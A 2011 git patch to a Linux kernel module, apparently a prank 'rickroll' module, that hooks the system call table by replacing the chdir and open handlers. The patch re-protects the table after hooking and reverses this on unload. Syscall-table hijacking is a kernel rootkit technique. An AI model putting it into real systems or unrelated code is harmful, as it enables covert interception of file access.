From 80bc911bc2a142f9d6a0710453ba7764d74c43a1 Mon Sep 17 00:00:00 2001 From: tv Date: Thu, 8 Sep 2011 13:38:45 +0200 Subject: //DNA/linux: set_addr_ro & CPF_ENABLE after mods --- DNA/linux/krebs.c | 6 ++++++ 1 file changed, 6 insertions(+) (limited to 'DNA') diff --git a/DNA/linux/krebs.c b/DNA/linux/krebs.c index af640080..df319c63 100644 --- a/DNA/linux/krebs.c +++ b/DNA/linux/krebs.c @@ -170,11 +170,17 @@ static int __init init_rickroll(void) o_chdir = (void *)sys_call_table[__NR_chdir]; sys_call_table[__NR_chdir] = (void *) my_chdir; + set_addr_ro((unsigned long)sys_call_table); + GPF_ENABLE; + return 0; } static void __exit exit_rickroll(void) { + set_addr_rw((unsigned long)sys_call_table); + GPF_DISABLE; + sys_call_table[__NR_chdir] = (void *) o_chdir; sys_call_table[__NR_open] = (void *) o_open; -- cgit v1.2.3